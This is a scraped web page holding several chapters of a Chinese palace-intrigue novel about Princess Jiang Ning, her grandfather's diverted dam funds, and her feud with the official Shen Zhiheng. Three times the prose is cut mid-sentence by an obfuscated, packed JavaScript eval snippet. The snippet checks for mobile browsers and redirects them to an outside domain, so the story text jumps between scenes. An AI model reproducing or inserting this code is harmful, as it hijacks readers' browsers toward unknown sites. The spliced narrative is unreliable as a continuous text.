年关将近，长街喧嚣。叫卖声、讨价还价声不绝于耳，百姓忙着采买年货，为这冰天雪地添了几分鲜活的暖意。 姜宁掀帘望了眼熙攘的街景，对车前道：“苏七，明日我们叫上惜桃和苏九，也出来逛逛吧。” “是，殿……”苏七话音未落，猛地勒紧缰绳！“吁——！” 车身骤停。 姜宁尚未发问，车外已传来清朗男声，穿透风雪： “微臣沈之衡，求见殿下！” 姜宁慵懒的声音自帘后传出：“沈大人说改日登门拜访，可没说今日便拦本宫的马车。” 沈之衡上前两步，逼近车辕，冷冷说道：“请殿下，归还微臣之物。” 车帘掀起，姜宁端坐其中，神色淡然：“本宫与大人两个时辰前确有交谈，却不记得拿过大人何物。” 沈之衡的声音压得极低，却字字清晰：“两日前，京城南郊。殿下，可想起了？” 终于亮牌了？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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良安用力握住他冰冷的手掌，截断他的话：“莫要多想。我必助你。” 回苏府的路上，哒哒的马蹄声与漫天风雪搅动在一起。 苏长英骑马在前引路，方才的温润笑意已褪尽，眉宇间凝着冷肃。在外人面前，他一向是不苟言笑的。 苏七驾着马车，隔着帘子压低嗓音问道：“殿下，南郊那夜，何不直接了结沈之衡？也免今日麻烦。” 为何不杀？姜宁微微一怔。雪地里拾起那人时，这念头竟从未掠过心头。她当时唯一想的是，将那人带离风雪。 她掀开车帘，伸出手。一片晶莹的雪花落入掌心，旋即化作一点冰凉的水渍。 “或许……”她望着那点水痕，声音轻得像叹息，“是他的理想，救了他一命吧。大凌的朝堂，总还需几个这样的脊梁。” 随着指尖凉意蔓延，她缓缓阖眼。风雪呼啸声中，她回忆起沈之衡那道名扬天下的策论—— 五方之民，各安其庐；九谷之实，咸充其廪。使黎庶无野宿之戚，苍生绝枵腹之叹。 5. 第五章 苏府惊雷（一） 马车抵达苏府时，天色暗淡，府门前灯火通明，乌泱泱候着一群人。见车驾停稳，众人齐声行礼：“参见公主殿下！” 姜宁掀帘，目光瞬间锁定人群中央那翘首以盼的身影——外祖母裴润君。她眼眶一热，未等马车停稳便跳下车，三步并作两步扑入老人怀中：“外祖母，漪漪好想您！” 裴润君紧紧搂住她，喜泪纵横，枯瘦的手不停地拍抚着她的背：“回来就好，回来就好。我的漪漪，长安十二年，苦了你了。” “不苦，一点儿也不苦。”姜宁用力摇头，抬手用丝帕轻柔地拭去老人脸上的泪痕。 “好，好，外头冷，快进屋，进屋暖和暖和！”裴润君拉着姜宁的手，不停催促着往府内走。 暖阁内，珍馐满案，炭盆烧得正旺。 苏崇已换下朝服，身着日常的深色棉袍，少了朝堂上的威严，多了几分暮年祖父的慈和。他对着侍立一旁的苏长英说道：“长英，去把那株玉兰树下埋的老酒取出来，温上。” “是，祖父。”苏长英应声而去。 苏崇看着屋内的一群人，又吩咐道：“今日是家宴，你们都退下吧。”” “是，苏阁老。”屋内原本伺候的下人，也一同离去。 裴润君引姜宁在苏崇身侧落座，絮絮叨叨地指点着满桌菜肴：“漪漪快瞧，这是你小时最爱的松鼠鳜鱼，这是你舅舅在浙江军营里还老念叨的梅菜扣肉……”说着，便将一块油亮的肉块夹入姜宁碗中，“快尝尝，外祖母盯着厨房做的。” “谢外祖母！”姜宁笑得眉眼弯弯，捧起碗便吃得香甜。 苏崇默不作声，亲手盛了一碗温热的参茸鸡汤，轻轻放到姜宁面前。 “谢外祖父！”姜宁抬眼，眸中暖意融融。 看着她大快朵颐的模样，苏崇眼中掠过一丝复杂，低声叹道：“殿下可怨外祖父，当年让你去长安？” 裴润君嗔怪地推了苏崇一把：“今日团聚，说这些做什么！” 姜宁放下碗筷，正色道：“外祖父何出此言？漪漪从未有怨。长安清静自在。况且，师父待我极好。” “嗯……”苏崇捋着银白的胡须，目光悠远，“顾方那孩子，当年听闻你离京，便关了京城的百草堂，随你去了长安。谁知后来又在长安开了那凤明堂，如今分号都开到京城了。” 他声音渐低，带着一丝难以言喻的涩然，“你母亲走后，他辞官行医，再不肯见我。只怕是，还在怨我。” 姜宁凝视着老人沟壑纵横的脸，轻声问道：“外祖父，您后悔过吗？” 苏崇怔了怔，旋即苦笑：“无论如何，那都是你母亲的决定。当年七子夺嫡何等凶险，她还是执意嫁了。可皇家……终究是皇家啊。”话语里满是苍凉与无奈。 “好了好了，陈年旧事，莫要再提。”裴润君连忙岔开话头。 姜宁顺从地点点头，扒了几口饭，忽又想起什么，抬头问道：“对了，裴落姐姐呢？怎不见她？” 二十二年前，西北一战，镇北侯裴家只剩下当时被托付给苏家照顾的裴落。于是这些年，裴落也一直养在苏府，与姜宁自幼交好。 话音一落，席间空气骤然凝滞。 苏崇与裴润君对视一眼，皆是欲言又止，神色复杂。 恰在此时，苏长英端着温好的酒壶立在门边，玄色衣袍衬得他面容愈发冷峻。他声音低沉沙哑，打破了沉默：“事到如今，何必再瞒漪漪？” 苏崇深吸一口寒气，仿佛下定了决心：“也罢。” 一旁的裴润君已忍不住侧过身，用锦帕掩面拭泪。 “裴落……”苏崇的声音沉重如铁，“她如今，是你父皇的嫔妃。” 姜宁握着筷子的手猛地一僵。 “今年四月宫宴，”苏崇艰难地继续说道，“圣上多饮了几杯，先行离席。宴席将散时，裴落突感不适，引路的宫人不知何故，竟将她引到了庆元殿。后来……” 字字句句，宛如刀割。姜宁脑中“嗡”的一声，后面的话再也听不清了。 一股刺骨的寒意从脚底窜起，瞬间席卷全身，胃里翻江倒海！她死死咬住下唇，指尖深深掐进掌心，才强压下那股灭顶的恶心与眩晕。 父皇怎能…… 裴落姐姐那夜，又该是何等绝望？！ “那宫人，受谁指使？”姜宁声音颤抖，一言一语，几乎是从齿缝里挤出。 苏崇闭了闭眼：“事发之后，那宫人，便悬梁自尽了。只留下一封认罪书，将幕后之人，撇得干干净净。” “裴落，我那苦命的孩子啊。”裴润君再也忍不住，呜咽出声。 苏长英默然回到席间，一言不发，只将杯中酒液一杯接一杯地倒入口中，喉结滚动，像要将所有情绪都烧灼殆尽。 姜宁浑身力气仿佛被抽干。十二年前离京那日，风雪漫天，苏长英与裴落十指相扣，在城门为她送行。她犹记得那时自己笑言：“待我再回京城，定要讨你们一杯喜酒喝！” 电光石火间，一切线索骤然串联。 镇北侯遗孤裴落，在西北军中是如同图腾般的存在。长英哥哥若娶了裴落姐姐，便是苏家掌控东南军权后，又握住了西北军心。 这桩婚事，汪家岂能坐视？ 让裴落成为帝妃……此局一成，苏裴联姻，便再无可能。 “是汪家？”姜宁齿间迸出冰冷的三个字。 苏崇眼中忽地一闪，旋即化为深沉的疲惫：“没有证据。” 短短四字，道尽朝堂倾轧的无奈与残酷。纵有证据，又能如何？当年帝王有意扶持汪家，到了如今，汪家的根基已经深厚。 姜宁缓缓吐出一口浊气，强自平复心绪：“我归京那日，在父皇的寿宴上未见到裴落姐姐。是她不想见我么？” 苏崇摇头：“那夜之后，裴落被诊出有孕。圣上或许是担心十四年前旧事重演，封她为淑妃后，以‘为国祈福’之名，秘密送往庆阳行宫安胎。此事知之者甚少，汪家亦未察觉。” 孕脉？十四年前旧事重演？ 姜宁如遭雷击。 父皇担心十四年前的事重蹈覆辙？所以，他其实一直都知道姜宸夭折的真相？可他为了所谓的“制衡之术”，竟纵容汪家至今？！ 而裴落姐姐腹中之子，若是皇子，便是苏家重入储君棋局的关键一子。纵是今后姜齐登基，此子亦是父皇对汪家的掣肘？ 前朝后宫，环环相扣，皆为棋局。被卷入棋局之人，何其无辜。 姜宁眼前光影晃动，一切仿佛都蒙上了一层晦暗的薄雾。 她沉默良久，声音带着一丝不易察觉的嘶哑：“是皇子吗？” “尚未临盆，但太医断言……是。” 姜宁的指尖微微动了动，又问道：“所以，苏家是要争储吗？” 为了裴落，为了那个未出世的孩子，也为了苏家不再受制于人？ 苏崇没有回避，只沉声道：“是。” 苏长英握着酒杯的手，指节捏得发白。裴润君的叹息更重。 “那……”姜宁霍然起了身，眼中是决绝与狠厉：“就让父皇的制衡之术，到此为止吧。” 屋内的炭火烧得正旺，不时爆出“噼啪”轻响，跃动的火苗映照着众人凝重的脸庞。 姜宁又缓缓行至窗前，推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138556|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开窗，望着漫天风雪。 良久，她的声音低沉而清晰，接着说道：“漪漪尚有一事，欲请教外祖父与长英哥哥。” “漪漪但讲无妨。”苏崇的声音沉稳依旧，却隐隐透出一丝不易察觉的紧绷。 姜宁缓缓侧身，目光冰冷：“长江决堤之祸，苏家可曾牵涉其中？” 沉默在暖阁中蔓延，只余炭火燃烧的微响。 半晌，苏崇重重一叹，仿佛卸下千斤重负：“若你所指，是六年前堤坝兴建之事，那……确有干系。” 姜宁的指尖悄然收紧，嗓音沉了下去：“苏家，拿了多少？” 那“贪墨”二字，如鲠在喉，她终究未能出口。 苏崇并无半分迟疑，回道：“白银二十万两。” 姜宁倏然回眸，直视苏崇眼底：“外祖父，”她的声音带着一丝不易察觉的颤抖，“事已至此，还请您，据实以告。” “殿下此言何意？”苏崇的语气骤然凌厉，阁老的威仪瞬间弥散开来。 苏长英脑中忽地闪过姜宁与沈之衡当街交谈的一幕，脱口问道：“漪漪，可是那沈之衡对你说了什么？” 一旁的裴润君看着这陡然紧张的气氛，面上亦是惊疑不定。 姜宁不再多言，对着门外清声道：“苏七，呈进来吧。” 门应声而开，苏七躬身入内，从怀中取出一方被油布仔细包裹的物件，恭敬递向姜宁。 姜宁未接，只淡淡道：“呈给阁老过目吧。” 苏崇狐疑地接过，展开包裹——陈情书、密信、账册……一行行墨迹刺入眼帘。他面色骤然褪尽血色，指尖微颤地将东西递给苏长英，目光转向姜宁：“此物，殿下从何得来？” “我入京那日，在南郊，恰逢晕厥在雪地的沈之衡。此物便是在他身上寻获。”姜宁语声平静，却字字如冰珠坠地。 苏长英飞快扫过陈情书，又核验账册，眉头深锁，已明了大半：“今日沈之衡当街拦车，便是为了追索此物？” “是。”姜宁颔首，“我见此物牵涉苏家，更干系朝堂重臣，事关重大，故未归还，原想先与外祖父商议定夺。” 她话音陡转，积蓄的失望与怒意终于迸发，“外祖父方才告知漪漪，苏家只取了二十万两。可这账册白纸黑字，明明白白写着有四十万两白银，入了苏家账目！” 最后几字，姜宁几乎是咬着牙吐出。 她怨的，岂止是欺瞒？更是记忆中那位清风朗月、为民请命的外祖父形象的崩塌。 裴润君急忙温言劝解：“漪漪，此事内情我略知一二，确为二十万两。你外祖父，并未骗你。” 苏长英已合上账册，将证物重重叠好交还苏七，眼中怒火翻涌，齿缝间挤出恨声：“是苏成那蠹虫。他竟敢假借祖父之名，上下其手，私吞了另外二十万两！” “苏成？”姜宁蹙眉。 “是苏家旁支子弟，原在工部当值。”苏崇阖上双眼，疲惫与痛悔爬上眉梢，“这六年来，我未尝有一日安枕。前些日湖北赈灾，圣上遣长英暗中率锦衣卫追责。刘知府狱中自尽，一纸认罪书独揽堤坝贪墨之责。我原以为此事已了。可……雪泥鸿爪，终究不可抹去。” 苏长英道：“那沈之衡，我原以为他只掌管赈灾事宜，未将此人放在心上。未料，他竟敢私下追查此事。” 苏崇喉头哽咽，一字一句，重若千钧，“为官四十载，此事，是我做错了。” 苏长英扶住祖父微颤的手臂，沉声宽慰：“祖父，当年浙江危局，苏家亦是情非得已。” 听罢，姜宁心头疑云却更浓：“所以，六年前，究竟发生了什么？” 6. 第六章 苏府惊雷（二） 暖阁中只余炭火偶尔爆出的轻微“噼啪”声。 苏崇的声音格外低沉缓慢：“长江两岸，年年雨季都遭洪涝之苦。六年前，国库尚足，朝廷拨下二百万两白银，着户部、工部会同湖北知府，共同督建沿岸堤坝。” 他话音一顿，眉头紧锁，仿佛被什么沉重的东西压住了，“可就在这当口，浙江倭寇犯境，西北战事又起。不到两月，前线军需告急……圣上权衡再三，下令放弃浙江抗倭，全力保障西北边陲。” 苏崇端起手边微凉的茶水，却没有喝下，只是攥紧了杯沿：“可浙江那边，已经是背水一战，就差最后一搏。苏家，无论如何也不能坐视不管。”他深吸一口气，终于道出关键，“彼时，苏成负责工部经办的明月坝修建，款项总计六十万两白银。我便动了心思。” 那沉重的负罪感似乎让室内空气都凝滞了几分：“通过虚报，挪出二十万两，辗转交予浙江商贾林家，再由他们以‘捐输’的名义，送去支撑浙江战场。其实此事并非天衣无缝，湖北知府刘毅当时已有所察觉，但碍于苏家之势，终究未能上达天听。” 他重重一叹，“未曾想，这苏成，竟胆大包天，趁此机会自己也吞了二十万两。” “六十万的堤坝，最后只剩二十万？明月坝……如何能不垮？”姜宁眼底映着跳动的炭火，似在映照云阳城下冰冷的滔天洪水。 苏崇猛地灌下一杯酒，辛辣入喉，闭了闭眼：“老夫，对不住云阳百姓。” “祖父。”苏长英低唤一声，手掌稳稳落在苏崇微颤的肩上，传递着无声的支撑。 苏崇摆摆手，示意无碍。 一片沉默笼罩下来，只有炭火在呼吸。 姜宁的目光扫过三人，冷静道：“苏成此步棋，算定自己是个弃子。然而，若将这些东西交还给沈之衡，让他大白于天下，外祖父必然难以独善其身。苏成敢如此猖狂，只怕也是算准了这点。” “此事需得万分谨慎。”苏长英颔首赞同，指尖轻点桌面，“名册所涉官员，也当逐一详查。”说着，他眼中闪过一丝锐利的光芒，“汪家竟不在其列？以我对汪家行事手段的了解，当年兴建堤坝，获利甚多，不可能没有他们的影子。” “长英所言甚是。”苏崇疲惫地点点头。 姜宁话锋一转，回到当下最紧迫的问题：“沈之衡此人，外祖父如何看？眼下除苏家外，他是唯一知情者。纵使他此时按兵不动，终究是个变数。” 苏崇沉吟片刻，眼中带着一丝忌惮：“他此次回京，原本要擢升户部尚书之位，可他偏偏自请调任都察院。如今想来，只怕他意在借此彻查旧案。但圣上对他器重有加，这些年他在寒门清流之中声威日盛，门生故吏盘根错节。”他缓缓摇头，声音凝重，“百足之虫，死而不僵。此人，苏家动不得。强行动他，只会惹火烧身。” 苏长英带着复杂难言的情绪，接着说道：“我曾与他短暂共事，此人算得上大凌朝堂上少有的纯粹耿介之臣。若为敌，必是后患无穷、极其难缠；若能与之结盟，则对苏家大有裨益。”其中那份惋惜之意清晰可辨。 “谈何容易。”苏崇并不乐观，“汪家这些年，明里暗里没少下功夫想拉拢他。可他次次都掷地有声：不参与任何党争。” “哦？”姜宁挑眉，眼中带着探究，“那去年他领头弹劾我‘奢靡建府’，竟不是汪家授意么？” “那最初弹劾的折子，应是他沈之衡一人的主意。不过后来群臣跟随、汹汹议论，汪家定是乐于见到，暗中推波助澜了一把。” 提及此事，苏崇眼中反倒掠过一丝释然的笑意，“说起这个，去年你忽地奏请建府，事先不与我们商议，不止汪家，连我这外祖父也是一头雾水，摸不清你的盘算。” 姜宁唇角弯起一个极淡的弧度：“我随师父于昆仑采药时，无意间发现了一处银砂矿脉。想着借个‘建府’的名头，向父皇讨些银两。师父授意要一百万，我便照章写了。” 她语气平静地揭开了这步棋：“父皇若准了，我便借此银两在长安暗中扶植商贾，逐步掌控西北的经济脉络；父皇若不准，那今年我便奏请回京。父皇心中有歉疚，十有八九会恩准。届时我再将矿图献上作为贺寿之礼，顺理成章。” 她眼中闪过一抹微不可察的锋芒，“只是未想到，劝阻父皇的，是沈之衡那一道弹劾的奏疏。不过眼下，也算是顺利留在京城了。” “嗯。”苏崇捋着花白的胡须，露出几分复杂又略带欣慰的神色，“你跟在顾方身边久了，他那副揣度人心、借势而为的本事，倒是真被你学去了不少精髓。” 姜宁眸光似乎望向窗外未歇的风雪，声音也带上一分疏淡的悠远，“这世道，人人奔忙不过名利二字。可那滔天权势的根基，又何尝不是一层层的人心？” “好了好了，”裴润君适时插话，打破了这一瞬的沉郁，眉眼间俱是温和的笑意，“你们祖孙聊了这么些正经事，饭菜早就不冒热气了。我去唤人热一热。今日是家宴，旁的事，且放一放。” 她起身，目光落向一旁侍立的苏七，温言道：“苏七，去叫人过来吧。” “是。”苏七利落抱拳领命。 酒足饭饱后，夜色已深，风雪也小了许多。 裴润君柔声劝姜宁留宿苏府，姜宁却执意摇头。父皇钦点的二十羽林卫，怕是已在公主府外候着了。 一番温情劝说无果，裴润君只得轻叹一声，与苏崇、苏长英一同将姜宁送至苏府门外。 临上马车前，姜宁目光落在苏崇身上，声音压得极低，确保只他一人听清：“外祖父切记，昆仑银矿主事之权，苏家不必强求，只作姿态。务必让父皇将此权柄，交到汪家手中。” 苏崇郑重颔首，眼神沉稳：“漪漪的谋划，外祖父心中明了。” 姜宁手扶车辕，正要登车，身形忽然顿住，侧首望向一直沉默在旁的苏长英：“过几日，我会向父皇请旨，去探望裴落姐姐。长英哥哥，可有话要带？” 苏长英喉结滚动一下，唇微动，似有千言万语涌至舌尖。但最终，他只是紧紧握了下指节，将那未尽之言无声吞咽回去，缓缓摇头，声音低沉而克制：“不必了。何必再提我，徒惹她伤怀。” 姜宁眼帘微垂，轻轻应了声：“好。”不再多言，挥手作别，径自弯腰进了马车。 车轮碾过积雪湿滑的路面，摇摇晃晃，加上酒意渐渐上头，姜宁在颠簸中很快便沉沉睡去。 不知过了多久，苏七压低的呼唤在耳边响起：“殿下，到了。” 姜宁缓缓睁眼，只觉头脑微沉，下意识抬手按了按额角。稍定了定神，她才掀开车帘。 公主府门前灯火通明，只见两拨人马赫然静立。服色鲜明，一队是羽林卫的金甲，另一队，则身着玄色的官服，似是大理寺所属。 她的贴身侍女惜桃、护卫苏九和红叶正紧守着府门，身姿戒备，显然在阻止旁人擅闯。 看清了形势，姜宁眼底尚存的一丝迷蒙顷刻散去，换上惯常那副慵懒又带着几分戏谑的神情，扬声笑道：“本宫不过离府半日，公主府门前倒比上元灯节还热闹。来的都是哪路神仙呀？” 说话间，她已稳稳踏下马车。 门前众人齐齐躬身：“参见公主殿下！” 羽林卫中，一名身材挺拔、面容英挺的男子上前一步，抱拳朗声道：“卑职羽林卫副尉陈泽，奉圣命率二十羽林卫前来护卫殿下！听凭殿下差遣！” 姜宁目光从他身上掠过，微微颔首：“嗯，父皇先前是提过。”随即，她视线转向那身着玄色官服的清俊男子：“那这位大人是……？” 那官员忙躬身，恭敬回道：“回殿下，微臣大理寺少卿向恒声。深夜叨扰殿下凤驾，还请殿下恕罪。” “哦？”姜宁眉梢轻挑，并未停留，径直走到惜桃等人身边，转身面向向恒声，嘴角含着浅淡的笑，语气却带上几分不容置疑的冷意：“那敢问向少卿，带人围堵我公主府， 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待向恒声带着大理寺一行人匆匆离去，姜宁的目光才落在陈泽身上：“方才，是你们拦住了他？” 她自然清楚，单靠惜桃、苏九和红叶，根本拦不住大理寺。这底气，只可能来自同样代表皇权的羽林卫。 陈泽并未回避，坦然应道：“是。” “做得不错。”姜宁赞许道，“夜色已深，留下两队人轮值守夜。其余弟兄今日辛苦，可各自回去歇息。” 她目光扫过一众肃立的羽林卫，唇角勾起一抹笑意，又朗声道：“大家既到这里，今后就是我公主府的人了。明日，都来领赏。” 二十羽林卫齐声谢恩，声震夜幕：“谢殿下赏！” 姜宁摆摆手，转身步入门内。惜桃等人与苏七紧随其后。 厅内温暖的气息包裹上来，姜宁解开厚重的大氅递给惜桃。红叶立刻奉上一碗温热的醒酒汤。 姜宁接过碗，视线却看向苏七和苏九，吩咐道：“苏七，苏九，你们两个去书房看看，可有什么不该动的地方被动过？” “是！”两人领命，迅速转身而去。 惜桃见状，若有所思地抿了抿唇，低声道：“殿下怀疑公主府已经被……？” 姜宁微微点头，眼底一片了然。 不多时，苏七和苏九便返回厅中。苏七沉声禀报：“回殿下，书房确有人翻动过的痕迹。” 姜宁呷了一口醒酒汤，唇角浮起一丝玩味的弧度：“调虎离山？看来沈之衡也是个聪明的。” 只可惜……那东西始终随身在苏七身上，沈之衡的人就算翻遍了公主府，也注定是徒劳。 她刚觉得此事暂了，却见苏九欲言又止，面上带着难色。 “怎么了？”姜宁放下碗，漫不经心地问。 苏九硬着头皮，小声道：“殿下书房里，应是丢了一件东西。” “嗯？什么东西？”姜宁随手拿起汤碗，打算再喝一口。 “墙上……挂着的画没了。” “噗——” 姜宁刚入口的醒酒汤，毫无预兆地喷了出来。她猛地攥紧了拳头，脸上一阵抽痛，几乎是呻吟般哀嚎出声：“那可是《千里江山图》！赵孟恺的绝笔！” 这还不算完。 苏七像是被提醒，皱着眉又补充道：“案头那本您常用的医书，好像也不见了。” 姜宁只觉得眼前一黑，心口瞬间凉透：“……什么医书？” “就是殿下您时常翻看的那本，封皮都旧了的那本。” 姜宁瞬间僵住，只觉得那碗醒酒汤化作冰水兜头浇下。一股难以言喻的绝望和暴怒席卷了她。这一刻，她简直想把沈之衡撕成碎片，恨不得时光倒流，在那南郊的雪地里就直接把那个瘟神了结了！ 她咬着牙，每个字都像是从齿缝里挤出来的冷气：“那可是《百草经》，孤本！！！” 7. 第七章 密潜沈府 次日，姜宁醒来时，窗外日光已盛，鸟雀的喧鸣透过窗纸不绝于耳。她感到头脑昏沉，抬手揉了揉额角，这才缓缓起身。 恰在此时，惜桃端着一盆热水推门而入，见姜宁已醒，眉眼弯弯地笑道：“殿下醒了？我正想来唤您呢。” 清冽的梅香随着惜桃的动作弥散开来。姜宁一边梳洗，一边不经意问道：“身上好香，方才去做什么了？” 惜桃腼腆一笑，手上动作未停：“去厨房帮红叶姐姐的忙了。她在熬梅花粥呢。” “哦？”姜宁唇角微扬，“看来今日有口福了。”顿了顿，又问：“苏七和苏九呢？” 惜桃正专注地为她束发，闻言脱口道：“在梅园打架呢。” “打架？”姜宁眉头倏地一拧。 惜桃手上动作一顿，连忙改口：“额……切磋！是切磋！正切磋武艺呢。” 姜宁指尖轻轻弹了下惜桃的额角，嗔道：“一惊一乍。说话要仔细些。” 梳洗完毕，姜宁步出寝殿，往书房去。途经梅园时，果然见苏七和苏九的身影翻飞，“打”得正酣，显然未留意她的到来。 几把扫帚东倒西歪横在地上，散落的梅花混着积雪，被搅得一片狼藉。 姜宁驻足片刻，瞧清状况，不禁扶额轻叹，转头对惜桃吩咐道：“你与红叶得空，去寻几个身家清白的侍从来吧，府中各处也好有人打理。” 惜桃心领神会地应下：“是，殿下。” 到了书房，迎面墙上那方空荡荡的留白瞬间刺入眼帘，原本悬着《千里江山图》的位置，如今只剩寂寥。姜宁心口一阵绞痛，默然走到书案前坐下。 她下意识习惯性地伸手想取常翻的医书，手边却同样空空如也。 积压的怒气涌上心头，令她指尖微微发颤。 “好个沈之衡。”她低语，旋即铺纸研墨，笔走龙蛇，一封措辞激烈的请柬须臾写成。 她将墨迹未干的信笺递给侍立在旁的惜桃：“让苏九即刻送去沈之衡的住处！” 惜桃一愣，双手接过，应道：“是，殿下，我这就去。” 话音未落，惜桃刚转身要走，姜宁忽又急唤道：“且慢！” 姜宁起身拿回那信，目光沉沉地盯着纸上锋芒毕露的字句，终究是重重一叹，手腕一扬，径直将其投入书案旁燃着的炭盆。任由纸张化为飞灰。 “罢了。急不得，须得沉住气。”她闭了闭眼，强迫自己冷静下来。 定了定神，昨夜另一件事浮上心头。“羽林卫……”她顿住，改口道，“应该是府里护卫了。赏赐可分发下去了？” “已经分发，按您的吩咐，每人十两白银。”惜桃应声道。 “嗯。”姜宁颔首。 正说着，红叶的声音从门外传来：“殿下，用午膳了。” 红叶入了公主府后，一日三餐皆不重样，精致可口，深得姜宁心意。 姜宁坐在食案前，端起那碗温热清甜的梅花粥轻啜一口，随后看向红叶缓缓问道：“对了，红叶，你与师父是如何结缘的？” 红叶手中动作微滞，眼底掠过一丝遥远的落寞，声音轻缓：“约莫十六年前，家乡遭了饥荒，阿爹把我送去邻村一户人家做童养媳。我不愿，逃了出来。那时顾先生正好返京述职，在官驿歇脚。我一时饿极了，便偷了他一个包子。” 她顿了顿，语气里带着回忆的涩然，“先生见我可怜，没有追究，反倒带我上了京城。后来将我托付给天香楼，找了份活计让我安身。” 姜宁听着，心中恻然，放下碗，温声道：“那后来呢？” “后来，顾先生辞官行医，开了百草堂，我便帮着先生打理医馆。再后来……”她抬眼，看着姜宁，“先生随殿下去往长安，我留在京中。前些日子，先生来信，问我可愿来侍奉殿下左右。” “原来如此。”姜宁轻轻颔首，看着红叶眼中的复杂情绪，郑色道：“红叶，往事随风。只要你愿意，今后，公主府便是你的家。” 惜桃亦欢喜道：“是呀是呀，红叶姐姐。” 红叶缓缓抬起头，眼中瞬间泛起水光，喉头微动：“谢公主！” 姜宁又低头喝了几口粥，暖意入腹，纷乱的心绪稍平。她目光转向侍立一旁的苏七苏九，神色恢复了一贯的从容：“苏七，苏九，有桩事需你二人去办。” 苏九闻言胸膛一挺，抢先应道：“殿下只管吩咐，一定给殿下办得妥妥贴贴！” 姜宁眸光微闪，语气平平，却字字清晰地道：“替我去趟沈之衡的住处，把《千里江山图》，还有那部《百草经》，请回来。” “是！”苏九应得响亮干脆，声音刚落才咂摸过味来，眼睛骤然瞪大，“啊？是偷吗？” 一旁的苏七面上波澜不惊，只沉稳道：“应不是什么难事。” 午后，阴霾的天色透出几缕微光。 姜宁依例入宫请安，车轿行过宫道，她端坐其中，却心若擂鼓。 至庆元殿外，浓重的药气伴着断续的咳嗽，萦绕在廊下。 姜宁步履沉沉，在殿门前立了许久，指尖冰凉，心乱如麻。她仍是不知，该以何种面目面对父皇。 侍立在侧的李鸿顺觉察了姜宁的异样，低声提醒：“殿下，时辰不早，该进去了。” 姜宁木然侧身，颔首道：“好。” 深吸一口弥漫着苦涩药味的空气，她步入了庆元殿。 殿内，姜厚钦闻声，从奏折间抬头，见是姜宁，眼底浮现慈色，声音温和：“宁儿来了。御膳房做了你平日喜爱的桂花酥，走时一同带回公主府吧。” “儿臣给父皇请安。”姜宁俯身行礼，声音带着不易察觉的颤意，身体也抑制不住地微微发抖，“父皇今日，可还安好？” “朕尚好。起来吧，坐下说话。” 姜厚钦见她行过大礼后仍僵立不动，放下手中的折子，目光更添探寻与柔和，“宁儿，怎么了？” 姜宁抬眸，撞见父皇那双溢满关切的眼。她心口剧缩，几乎是狼狈地避开了对视，猛地屈膝跪倒：“儿臣想去探望裴落姐姐，求父皇恩准。” 姜厚钦嘴角那点笑意倏然凝住，旋即化为一声极轻的叹息：“你都知道了。” “是。”姜宁没有否认，埋首回应。 庆元殿内，死寂无声。只有窗外微弱的光线，在地面投下长长的影子。 良久，姜厚钦的声音忽而响起：“你可怨朕？” “儿臣不怨，”姜宁深深叩首，额头触及冰冷的砖面，声音闷在砖石间传来，“儿臣只恨，天道无常。” 姜厚钦的目光落在面前茶盏上，指尖抬起似欲碰触，却又缓缓放下。“上元节后再去吧。”他语声一顿，又低声叮嘱，“淑妃近日身子违和，你去时务必隐秘些。” 淑妃……姜宁只觉耳中如针刺般锐痛，指甲狠狠掐进掌心，方能堪堪稳住声线：“儿臣遵命。” 她动作僵硬地起身告退，眼角的余光，却不由自主地扫过御案上那碟色泽澄黄的桂花酥。 所有幼时贪恋的香甜滋味，此刻都仿佛都蒙上了灰。 姜宁没有带走它，正如她终究未能问出口——父皇，您是否早已知晓十四年前皇弟夭折真相？ 迈出庆元殿沉重的门槛，姜宁忽觉扑面而来的日光有些刺目。 李鸿顺见她面色苍白，上前一步，忧心问道：“殿下可是凤体不适？可要宣太医？” “不必。”姜宁冷冷道。 她挥退宫人，独自在这如巨大牢笼般的宫苑里走着。朱红的宫墙在她眼中逐渐晕染成血色。 她漫无目的，步履虚浮，周遭向她行礼的宫人如幻影掠过。这幼时长大的地方，从未像此刻一般让她遍体生寒。 阵阵晕眩伴着恶心狠狠袭来，五脏六腑似被人无情搅动着。眼前景物陡然旋转倾倒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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好在惜桃反应极快，随即垂眸，声线平稳地回道：“回大人话，京中各处书画铺子常有售卖大人的画册。奴婢是自画中识得大人。” “原是如此。”沈之衡眸色深深看了惜桃一眼，不再追问，只对姜宁一揖，“殿下若无其他吩咐，微臣便告退了。” “沈大人留步。”姜宁唤住他，面上已恢复一派清贵从容。她含笑邀约，“今日多有劳烦，不妨本宫在天香楼设下薄宴，请沈大人赏光？” “殿下盛情，微臣心领。”沈之衡浅笑欠身，拒绝得滴水不漏，“奈何家中有一孽犬，被微臣娇纵过了头，每日定要按时投喂，片刻离不得人。” 他语锋微妙地一转，“殿下若诚心致谢，不妨早日归还微臣丢失之物，便是最好不过了。” 言罢，他不再逗留，转身径直汇入街市华灯初上的人流之中，身影很快被夜色吞没。 看着那人影消失，姜宁才侧首对惜桃展颜一笑，带着一丝疲惫的如释重负：“拖了他许久。苏七和苏九那边应是得手了吧？” “所以殿下是有意为之？”惜桃恍然，语气轻快起来。 姜宁颔首，长睫轻轻垂下。 在都察院门前撞见沈之衡确是猝不及防，但随后请他带路出宫，便已是她心头一计。 回到公主府，府中已被新来的侍从打扫一新，井井有条。 